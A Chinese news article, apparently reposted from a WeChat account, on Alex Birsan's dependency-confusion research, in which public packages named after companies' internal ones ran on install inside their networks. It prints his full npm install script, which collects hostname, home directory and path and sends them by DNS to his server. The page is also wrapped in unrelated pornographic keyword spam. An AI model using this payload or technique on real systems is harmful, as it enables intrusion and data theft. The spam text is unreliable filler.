精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

利用 Npm 的缺陷,他獲得了 130,000 美元的賞金

新聞
一個搞安全的程序員 Birsan, 利用 npm 的設計缺陷,成功進入了 35 個公司的內網系統,這些公司還是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此獲得了超過 130,000 美元的賞金。那么他是怎么做到的呢?

 [[390104]]

最近看到一個新聞,開眼了。

一個搞安全的程序員 Birsan, 利用 npm 的設計缺陷,成功進入了 35 個公司的內網系統,這些公司還是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此獲得了超過 130,000 美元的賞金。那么他是怎么做到的呢?

一些包管理工具,比如說 Python 的 pip,Node.js 的 npm,Java 的 maven,可以從開源的倉庫下載軟件包,同時自動管理依賴項。其實我們都假設這些軟件包是安全的,事實上,每個人都可以制作并上傳自己開發的軟件,一旦有人不懷好意,上傳一些別有用心的軟件包,你下載后軟件會自動安裝和執行,這就相當于被黑了。

問題是如何讓別人下載呢?開源軟件的代碼是公開的,有問題的軟件包被下載的概率很低,前攻擊者會依靠社會工程手段或將軟件命名為正常名稱易拼寫出錯的名稱,安裝時一旦拼寫錯誤,就下載了惡意軟件。這種方式有一定的局限性,只要稍微認真點,就不會出錯。

而 Birsan 用的是非常隱蔽的方式,就算軟件包的名稱完全正確,也有可能下載到惡意軟件。具體的過程是這樣的:

Birsan 發現了 PayPal 內部使用的 package.json,這里面有一些軟件包并不在公共倉庫中:

上圖中標紅色的部分,是 PayPal 內部使用的 npm 軟件包,由公司內部使用和存儲。看到這一點,Birsan 想知道,這些軟件包是私有的,如果在公共 npm 存儲庫中存在同名的軟件包會怎么樣?

為了檢驗這個假設,Birsan 開始尋找一些私有內部軟件包的名稱,這可以在 GitHub 倉庫或知名公司的 CDN 中的清單文件中找到,這些軟件包在公共開放源代碼倉庫中是不存在的。

然后,Birsan 在開源存儲庫(例如 npm,PyPI 和 RubyGems)上使用相同的名稱創建偽造項目。這些偽造的項目都是在他的真實帳戶下完成的,并且有免責聲明,并聲明此程序包用于安全研究目的,并且不包含任何有用的代碼。

結果發現,這些包管理工具會優先下載公共存儲庫上的軟件包,如果不指定軟件包的版本號,則優先下載高版本的軟件包。這樣,Birsan 只需發布與公司內部名稱相同的軟件包,就可以成功地對 Microsoft,Apple,PayPal,Shopify,Netflix,Tesla,Yelp 和 Uber 進行攻擊。

那么你可能想知道,如何進行攻擊的呢?軟件包管理器,比如 pip,npm,具有預安裝腳本,一旦下載就會進行安裝,安裝過程執行的代碼就是黑客寫好的代碼,至于這些代碼具體能做什么事情,寫過程序的人都知道,你可以發揮想象。鑒于大多數公司網絡都被保護的很好,想滲透沒那么容易,Birsan 使用的是 DNS 滲透。

下面顯示的代碼就是 Birsan 制作的 npm 軟件包 analytics-paypal(該軟件包現在已從 npm 中刪除)。

  1. const dns = require('dns'); 
  2. const os = require("os"); 
  3.  
  4. const suffix = '.dns.alexbirsan-hacks-paypal.com'
  5. const package = 'analytics-paypal'
  6.  
  7. data = package +  
  8.     '__' + os.hostname() + 
  9.     '__' + os.homedir() + 
  10.     '__' + __dirname; 
  11.  
  12. data = data.replace(/[^a-zA-Z0-9._]/g, 
  13.     function(m){ 
  14.         return '_' + m.charCodeAt(0).toString(16); 
  15.     }); 
  16.  
  17. data = data.match(/.{1,50}/g); 
  18.  
  19. dns.setServers(['46.101.225.109']); 
  20.  
  21. id = Math.random().toString(36).substring(7); 
  22.  
  23. data.forEach(function(chunk){ 
  24.     dns.resolve(id + '.' + chunk + suffix, 'A',console.log) 
  25. }); 

該腳本將在 analytics-paypal 依賴項被下載后立即自動啟動,并向 dns.alexbirsan-hacks-paypal.com 發出 DNS 請求。從 PayPal 系統收到的回叫會提醒 Birsan,發出請求的 IP 屬于貝寶 PayPal ,以及用戶名和受感染系統的主目錄。

充分驗證這些假冒的軟件包已成功滲透到公司網絡后,Birsan 隨后將其報告給這些被入侵的公司,并因此獲得賞金。這些漏洞賞金計劃讓 Birsan 累計獲得了 13 萬美元的獎勵。

那么這些公司都是如何修復的呢?修復可能會比較難,因為 pip,npm 是開源工具,工具本身存在缺陷,解鈴還須系鈴人,最好的解決辦法就是維護一個健康的開源生態,比如給這些工具提供更安全的配置,對開源倉庫中提交的軟件包進行審核等等。

開源工具的缺陷并不是某一公司的問題,但可以對這些缺陷進行緩解,比如對于私有的軟件包,使用前可以進行簽名校驗,確保該軟件包來自于公司內部。

最后的話

我自己使用 pip,npm 時只是覺得它們如此的方便,非常依賴它們,以至于從未懷疑這些工具也存在安全問題,所謂最依賴的工具一旦出了問題也是最致命的,如果你的公司也存在類似的情況,是時候做出一些改進了。

從 Birsan 的經歷中也可以看出,如果你有一個有趣的想法,請立即去驗證它,無論結果如何,你都不虛此行。

本文轉載自微信公眾號「Python七號」,可以通過以下二維碼關注。轉載本文請聯系Python七號公眾號。

 

責任編輯:武曉燕 來源: Python七號
相關推薦

2021-12-09 11:48:17

勒索軟件惡意軟件安全

2020-12-01 22:23:45

物聯網投資回報IOT

2010-02-24 09:13:04

2021-05-24 09:35:21

黑客源代碼訪問權限

2021-07-21 20:26:34

Google地圖交通擁擠

2023-08-13 16:10:05

Windows 10Windows 11

2011-08-11 15:27:45

網康國家專利

2021-12-01 07:26:12

AIOps企業

2010-08-05 10:09:42

屏蔽連接件元器件西蒙

2021-07-15 17:31:44

無人機人工智能AI

2015-07-02 16:56:00

程序員能力

2017-10-12 13:00:22

LinuxRISC-V多核開源處理器

2022-01-26 07:47:22

黑客漏洞網絡安全

2019-07-10 16:45:49

LinuxLinux游戲游戲性能

2020-06-15 15:52:00

惡意軟件黑客網絡攻擊

2020-08-31 08:02:48

黑客漏洞網絡攻擊

2024-01-25 16:03:24

2018-05-31 11:24:53

維諦技術

2025-04-11 15:31:34

2015-12-03 17:28:21

Veeam
點贊
收藏

51CTO技術棧公眾號

欧美亚洲国产另类| 51精品久久久久久久蜜臀| 蜜桃日韩视频| 911美女片黄在线观看游戏| 欧美性天天影视| 狠狠网亚洲精品| 久久久久久久久91| 性欧美精品男男| 欧一区二区三区| 福利微拍一区二区| 免费观看中文字幕| 日夜干在线视频| 精品一区二区三区香蕉蜜桃| 高清视频欧美一级| jizz日本在线播放| 精品国产一区二区三区不卡蜜臂| 在线观看欧美日本| 人妻少妇精品久久| 国产三区视频在线观看| 久久久久久久久久美女| 99久久99久久精品国产片| 尤物视频免费观看| 亚洲电影在线| 久久精品国产免费观看| 一级性生活大片| 伊人久久大香线蕉av超碰| 欧美午夜影院一区| 国产黄视频在线| 日韩123区| 中文字幕一区二区三区四区不卡| 久久精品国产一区二区三区日韩| 99国产精品久久久久99打野战| 久久精品导航| 97婷婷大伊香蕉精品视频| 国产高潮国产高潮久久久91| 精品久久久久久久久久久下田| 亚洲第一精品夜夜躁人人躁| 男插女视频网站| 亚洲国产一区二区久久| 在线视频一区二区三| 精品国产一二三四区| 丁香花视频在线观看| 综合激情成人伊人| 亚洲午夜在线观看| 成a人v在线播放| 国产色综合久久| 欧美日韩精品免费观看视一区二区| 国 产 黄 色 大 片| 国产精品一区二区久激情瑜伽| 国产欧美日韩精品在线观看| 无码免费一区二区三区| 免费亚洲一区| 欧美在线免费视频| 国产专区第一页| 国产农村妇女毛片精品久久莱园子| 欧美极品第一页| 91在线播放观看| 午夜精品婷婷| 久久99精品国产99久久6尤物| 免费在线观看h片| 欧美在线二区| 国内精品国产三级国产在线专| 欧美日韩成人免费观看| 欧美激情无毛| 97香蕉久久超级碰碰高清版| 国产情侣自拍av| 久久成人在线| 国产精品麻豆va在线播放| 国模私拍一区二区| 久久99精品久久久| 97超碰最新| 少妇一级淫片免费看| 99re热视频精品| 日本在线视频一区| 午夜视频在线看| 一区二区三区欧美久久| 99色这里只有精品| 精精国产xxxx视频在线播放| 色综合一区二区三区| 亚洲最大综合网| 国产一区二区三区视频在线| 精品日韩成人av| 成人免费av片| 欧美韩国日本在线观看 | 欧洲av在线播放| 91小视频免费观看| 亚洲日本无吗高清不卡| 日本小视频在线免费观看| 精品久久中文字幕久久av| 黄色成人免费看| 日韩精品一区二区三区免费视频| 亚洲国产一区自拍| 日本精品久久久久中文| 国内精品亚洲| 国产精品久久久久久久久影视| 一区二区三区免费观看视频| 成人免费福利片| 亚洲国产精品一区二区第四页av| 怡红院红怡院欧美aⅴ怡春院| 欧美日韩亚洲一区二区| 182午夜视频| 亚洲理论电影| 欧美黑人巨大xxx极品| 中文无码av一区二区三区| 国产成人h网站| 亚洲二区自拍| 日韩精品极品| 日韩三级高清在线| 久久免费手机视频| 亚洲一区二区伦理| 亚洲最大成人网色| 第一页在线观看| 午夜av电影一区| 久草福利在线观看| 亚洲天堂一区二区| 日韩欧美国产麻豆| 中文字幕第69页| 亚洲在线黄色| 亚洲一区二区自拍| 99精品老司机免费视频| 婷婷成人激情在线网| 日韩高清在线一区二区| 欧美日中文字幕| 91a在线视频| 亚洲免费成人网| 亚洲欧美一区二区三区极速播放| wwwwww.色| 亚洲国产合集| 8x拔播拔播x8国产精品| 成人高潮片免费视频| 亚洲视频一区二区在线观看| 天天影视综合色| 国产成人三级| 日韩美女在线观看| 日本私人网站在线观看| 精品成人在线视频| 欧美xxxx×黑人性爽| 欧美影院一区| 99精品在线直播| 丝袜美腿av在线| 日韩欧美在线影院| 欧美老熟妇一区二区三区| 激情五月婷婷综合| 综合色婷婷一区二区亚洲欧美国产| 精品裸体bbb| 中文字幕在线看视频国产欧美| 无码日韩精品一区二区| 国产亚洲制服色| 久久精品免费网站| 日韩视频在线观看| 91免费国产网站| 成人video亚洲精品| 日韩欧美在线网站| 欧美精品一区二区蜜桃| 成人污视频在线观看| 精品国产av无码一区二区三区| ccyy激情综合| 97精品免费视频| 欧美日韩激情视频一区二区三区| 色婷婷久久综合| 极品人妻videosss人妻| 久久电影网电视剧免费观看| 波多野结衣三级在线| 亚洲综合影院| 91chinesevideo永久地址| 秋霞av在线| 欧美日韩国产成人在线免费| 黑鬼狂亚洲人videos| 成人精品gif动图一区| 国模无码视频一区二区三区| 欧美人与牛zoz0性行为| 国产精品美乳在线观看| 成年人黄视频在线观看| 亚洲精品一区二区三区99| 国产精品视频123| 亚洲国产精品av| 久久精品无码一区二区三区毛片| 午夜国产精品视频| 久草热久草热线频97精品| www.国产精品| 按摩亚洲人久久| 五月天久久久久久| 欧美怡红院视频| 欧美精品99久久久| xfplay精品久久| 三区视频在线观看| 日韩视频一区二区三区在线播放免费观看| 欧美成人免费在线| 91成人app| 欧美亚洲激情视频| 激情在线小视频| 亚洲男人天堂网站| 国产理论视频在线观看| 天天色综合天天| 操她视频在线观看| 99久精品国产| 人人爽人人爽av| 欧美中文日韩| 国产一区二区三区播放| 欧美人与拘性视交免费看| 97人人做人人人难人人做| 午夜日韩成人影院| 久久久久久久久久久免费精品| 国产在线一在线二| 欧美mv和日韩mv国产网站| www.日韩一区| 91色.com| 性色av浪潮av| 三级欧美在线一区| av在线com| 亚洲澳门在线| 日韩中文一区| 台湾亚洲精品一区二区tv| 91久久综合亚洲鲁鲁五月天| 肉色欧美久久久久久久免费看| 欧美激情第三页| 日本视频在线免费观看| 亚洲欧美综合图区| 少妇高潮久久久| 日韩免费看网站| 国产精品一区二区三区在线免费观看| 色综合网色综合| 粉嫩aⅴ一区二区三区| 亚洲精品国产高清久久伦理二区| 一级二级黄色片| 久久久91精品国产一区二区三区| 国产香蕉精品视频| 国产精品中文欧美| 亚洲无在线观看| 久久爱www久久做| 久久婷婷综合色| 免费人成精品欧美精品| 在线观看免费成人av| 性色一区二区| 欧美亚洲另类色图| 在线综合欧美| 欧美 国产 综合| 亚洲人成免费| 欧美 丝袜 自拍 制服 另类| 伊人影院久久| 欧美黑人经典片免费观看| 一区三区视频| 妞干网在线视频观看| 亚洲伦伦在线| 国产成人无码a区在线观看视频| 1024精品一区二区三区| 人妻少妇精品久久| 国产精品亚洲综合久久| 97在线播放视频| 久久久久久亚洲精品杨幂换脸| 国产av无码专区亚洲精品| 香蕉久久夜色精品国产| 黄色片视频在线播放| 首页欧美精品中文字幕| 一道本视频在线观看| 麻豆国产精品视频| 奇米777在线视频| 国产不卡视频一区二区三区| 成人欧美精品一区二区| 99国产精品久| 日韩一区二区a片免费观看| 欧美国产国产综合| 天海翼在线视频| 亚洲主播在线播放| 午夜精品久久久久久久久久久久久蜜桃| 欧美色播在线播放| 青青草视频在线观看免费| 欧美日韩色一区| 国产成人麻豆精品午夜在线 | 少妇又色又爽又黄的视频| 亚洲另类激情图| 日本电影在线观看网站| 欧美日韩高清在线观看| 国产不卡网站| 成人免费午夜电影| 岛国精品一区| 日本一区二区在线视频观看| 亚洲精品99| 免费看国产曰批40分钟| 秋霞午夜鲁丝一区二区老狼| 宇都宫紫苑在线播放| 99riav久久精品riav| 免费精品在线视频| 亚洲成人精品影院| 在线观看中文字幕码| 精品国产一区二区亚洲人成毛片| 国产在线观看免费| 色综合久久久888| 日本成人伦理电影| 91嫩草国产在线观看| 曰本一区二区三区视频| 免费久久久久久| 国产免费成人| 欧美专区第二页| 久久精品网站免费观看| 手机在线免费看毛片| 欧美日韩亚洲天堂| 99久久一区二区| 亚洲欧美一区二区三区情侣bbw | 欧美在线欧美在线| 国产精品高清一区二区| 免费看成人午夜电影| 午夜精品电影| 最新天堂中文在线| 91在线观看视频| 私库av在线播放| 在线观看视频一区二区欧美日韩| 精品人妻aV中文字幕乱码色欲| 亚洲香蕉成视频在线观看| av小说在线播放| 91免费福利视频| 成人三级视频| 一本大道熟女人妻中文字幕在线 | 加勒比婷婷色综合久久| 日本高清不卡视频| 熟妇高潮一区二区三区| 美女性感视频久久久| 韩国理伦片久久电影网| 久久精品日产第一区二区三区精品版 | 福利一区二区免费视频| 久久国产精品久久精品国产| 欧美精品偷拍| 国产高清av片| 国产精品久久久久久一区二区三区| 男人的天堂狠狠干| 久久精品人人做人人爽电影蜜月| 国产精品无码自拍| 亚洲女与黑人做爰| 在线观看毛片视频| 色婷婷av久久久久久久| 亚洲一区二区三区网站| 亚洲天堂成人在线视频| aa级大片免费在线观看| 草莓视频一区| 欧美激情亚洲| 免费啪视频在线观看| 一区二区三区在线观看视频| 国产欧美日韩成人| 久久久99免费视频| 国语精品视频| 18视频在线观看娇喘| 久久91精品国产91久久小草| 性少妇xx生活| 极品在线视频| 国产精品极品在线| 狠狠做深爱婷婷综合一区| 欧美一级黄色片视频| 久久久欧美精品sm网站| 一级黄色av片| 在线亚洲午夜片av大片| 欧美一区二区三区婷婷| 婷婷久久青草热一区二区| 国产亚洲欧洲| 91国模少妇一区二区三区| 一区二区三区在线观看网站| 亚洲精品久久久狠狠狠爱 | 91在线免费看网站| 一区二区三区在线观看免费| 岛国毛片在线播放| 国产米奇在线777精品观看| 麻豆疯狂做受xxxx高潮视频| 精品国产乱码91久久久久久网站| 九九色在线视频| 国产欧美日韩亚洲精品| 欧美福利网址| 免费观看一区二区三区| 欧美日韩美女视频| 国产在线一二| 成人情趣片在线观看免费| 欧美99在线视频观看| 中文在线观看免费视频| 91福利在线播放| 国产激情小视频在线| 国产精品久久久久久久天堂第1集| 国产精品成人a在线观看| 日本泡妞xxxx免费视频软件| 午夜精品一区二区三区电影天堂 | www.亚洲一区| 精品精品国产毛片在线看| 成人性做爰aaa片免费看不忠| 《视频一区视频二区| 日本激情一区二区三区| 国产精品久久久久久久av电影 | 欧美三级理论片| 亚洲久草在线视频| 免费在线视频一级不卡| 成人a在线视频| 国产精品视频| 在线看的片片片免费| 精品视频在线播放| 精品视频在线播放一区二区三区| 可以在线看的av网站| 国产精品你懂的在线| 丰满岳乱妇国产精品一区| 国产99久久久欧美黑人| 中文字幕一区二区精品区| 西西444www无码大胆| 日韩女优视频免费观看| 亚洲精品粉嫩美女一区| 国产一区二区四区|